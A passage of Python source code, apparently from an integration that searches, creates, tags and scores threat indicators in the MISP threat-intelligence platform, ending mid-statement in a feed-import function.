MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: """ Extracting errors raised by PYMISP into readable response, for more information and examples please see UT: test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str, any]]: filtered response """ return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: """ Converts args dict into a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] """ return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: """ Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line """ misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: """ Gets a timestamp from MISP response (1546713469) and converts it to human readable format """ return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else "" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: """ Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict, list, str]: same object type that got in """ if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = "", "" for event in events_to_human_readable: # removing those fields as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): """ As tag list can be full of in unnecessary data, we want to limit this list to include only the ID and Name fields. In addition, returns set of the found tag ids. Some tags have a field called inherited. When it is set to 1 it says that it is an event's tag. Otherwise (if it is set to 0 or not exists) it says that it is an attribute's tag. If the data is event's (is_event_level = true) we would like to add to tag_set_ids all the tags (event ones and the event's attribute tags ones as it is part of the event scope). If the data is attribute's (is_event_level = false), and the tag is only related to an attribute we would like to add it to tag_set_ids. In any other case, we won't add the tag. Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict was received from an event object, meaning the tags are event's ones. Otherwise, the data is attribute's (attribute tags). """ output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is an attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): """ After getting all the attributes which match the required indicator value, this function parses the response. This function goes over all the attributes that found (after limit the attributes amount to the given limit) and by sub-functions calculated the score of the indicator. For the context data outputs, for every attribute we remove the "Related Attribute" list and limits the tags and galaxies lists. Eventually, the outputs will be a list of attributes along with their events objects. Note: When limits the attributes amount, we sort the attributes list by the event ids as the greater event ids are the newer ones. Returns: response (dict): The parsed outputs to context data (array of attributes). score: the indicator score found_tag: the tag (id) which made the indicator to get that score found_related_events (dict): contains info (name, id, threat level id) about all the events that include the indicator Please see an example for a response in test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json """ response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return None for attribute in attributes_list: attribute.pop("RelatedAttribute") # get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get("id")] = {"Event Name": event.get("info"), "Threat Level ID": event.get('threat_level_id'), "Event ID": event.get("id")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = ["1", "2", "3"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): """ Calculates the indicator score by following logic. Indicators of attributes and Events that: * have tags which configured as malicious will be scored 3 (i.e malicious). * have tags which configured as suspicious will be scored 2 (i.e suspicious). * don't have any tags configured as suspicious nor malicious will be scored by their event's threat level id. In such case, the score will be BAD if the threat level id is in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note: - In case the same tag appears in both Malicious tag ids and Suspicious tag ids lists the indicator will be scored as malicious. - Attributes tags (both malicious and suspicious) are stronger than events' tags. """ found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): """ Create a new MISP event object and set the event's details. """ event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): """Creating event in MISP with the given attribute args""" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f"## MISP create event\nNew event with ID: {event_id} has been successfully created.\n" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent = None): """Adding attribute to a given MISP event object This function can be called as an independence command or as part of another command (create event for example) Args: event_id (int): Event ID to add attribute to internal (bool): if set to True, will not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called from create event command, the attrubite will be added to that existing event. """ attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), "event_id") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f"Error: An event with the given id: {event_id} was not found in MISP. please check it once again") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f"## MISP add attribute\nNew attribute: {value} was added to event id {new_event.id}.\n" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f"Error: The given IP address: {value} is not valid") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f"Error: The given domain: {value} is not valid") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f"Error: The given url: {value} is not valid") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f"Error: The given email address: {value} is not valid") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): """ This function searches for the given attribute value in MISP and then calculates it's dbot score. The score is calculated by the tags ids (attribute tags and event tags). Args: value (str): The indicator value (an IP address, email address, domain, url or file hash). dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of attributes that will be written to the context Returns: CommandResults includes all the indicator results. """ reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description="Match found in MISP") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description="No results were found in MISP") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f"No attributes found in MISP for value: {value}") def get_events_related_to_scored_tag(all_attributes, found_tag): """ This function searches for all the events that have the tag (i.e found_tag) which caused the indicator to be scored as malicious or suspicious. Args: all_attributes (dict): The parsed response from the MISP search attribute request found_tag (str): The tag that was scored as malicious or suspicious. If no tag was found, then the score is Unknown so no events should be found. Returns: list includes all the events that were detected as related to the tag. """ scored_events = [] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): """ By the given object we go over all the tags and search if found_tag is one of it's tags. If so, the event will be added to related_events list Args: object_data_dict (dict): Event or attribute dict which includes tags list. found_tag (str): The tag that was scored as malicious or suspicious. event_name (str): Name of the event """ related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == "FILE": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == "IP": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == "DOMAIN": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == "EMAIL": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == "URL": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): """ Examples are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and ';' as delimiter for operators. using the operators is optional. if 'demisto_query' does not contains any of the complex operators the original input will be returned Returns: str: dictionary created for misp to perform complex query or if no complex query found returns the original input """ regex_and = r'(AND:)([^\;]+)(;)?' regex_or = r'(OR:)([^\;]+)(;)?' regex_not = r'(NOT:)([^\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: """ Convert the response of attribute search returned from MISP to the context output format. """ response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): """given_object is attribute or event, depends on the called function""" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): """given_object is attribute or event, depends on the called function""" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: """returns list of attributes' values that match the search query when user set the arg 'compact' to True""" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException("page should be zero or a positive number") if limit and limit < 0: raise DemistoException("limit should be zero or a positive number") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: """Execute a MISP search over 'attributes'""" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), "page", required=True) limit = arg_to_number(demisto_args.get('limit', 50), "limit", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f"MISP search-attributes returned {number_of_results} attributes", response_for_context[:number_of_results], ["Value"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f"Current page size: {limit}\n" if len(response_for_context) == limit: pagination_message += f"Showing page {page} out others that may exist" else: pagination_message += f"Showing page {page}" md = tableToMarkdown( f"MISP search-attributes returned {len(response_for_context)} attributes\n {pagination_message}", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix="MISP.Attribute", outputs_key_field="ID" ) else: return CommandResults(readable_output=f"No attributes found in MISP for the given filters: {args}") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: """ Convert the response of event search returned from MISP to the context output format. please note: attributes are excluded from search-events output as the information is too big. User can use the command search-attributes in order to get the information about the attributes. """ response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in range(0, len(events)): # Filter object from keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: """ Execute a MISP search using the 'event' controller. """ args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), "page", required=True) limit = arg_to_number(demisto_args.get('limit', 50), "limit", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f"Current page size: {limit}\n" if len(response_for_context) == limit: pagination_message += f"Showing page {page} out others that may exist" else: pagination_message += f"Showing page {page}" md = tableToMarkdown( f"MISP search-events returned {len(response_for_context)} events.\n {pagination_message}", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix="MISP.Event", outputs_key_field="ID" ) else: return CommandResults(readable_output=f"No events found in MISP for the given filters: {args}") def delete_event(demisto_args: dict): """ Gets an event id and deletes it. """ event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \nError message: {response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): """ Function will add tag to given UUID of event or attribute. is_attribute (bool): if the given UUID belongs to an attribute (True) or event (False). """ uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException("Adding the required tag was failed. Please make sure the UUID exists.") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): """ Function will remove tag to given UUID of event or attribute. is_attribute (bool): if the given UUID is an attribute's one. Otherwise it's event's. """ uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException("Removing the required tag was failed. Please make sure the UUID and tag exist.") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): """Adds sighting to MISP attribute """ attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f"An error was occurred: {response.get('message')}") elif response.get('Sighting'): human_readable = f'Sighting \'{sighting_type}\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f"An error was occurred: {json.dumps(response)}") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): """ Test module. """ is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): """Gets an OSINT feed from url and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. """ headers = {'Accept': 'application/json'} url = 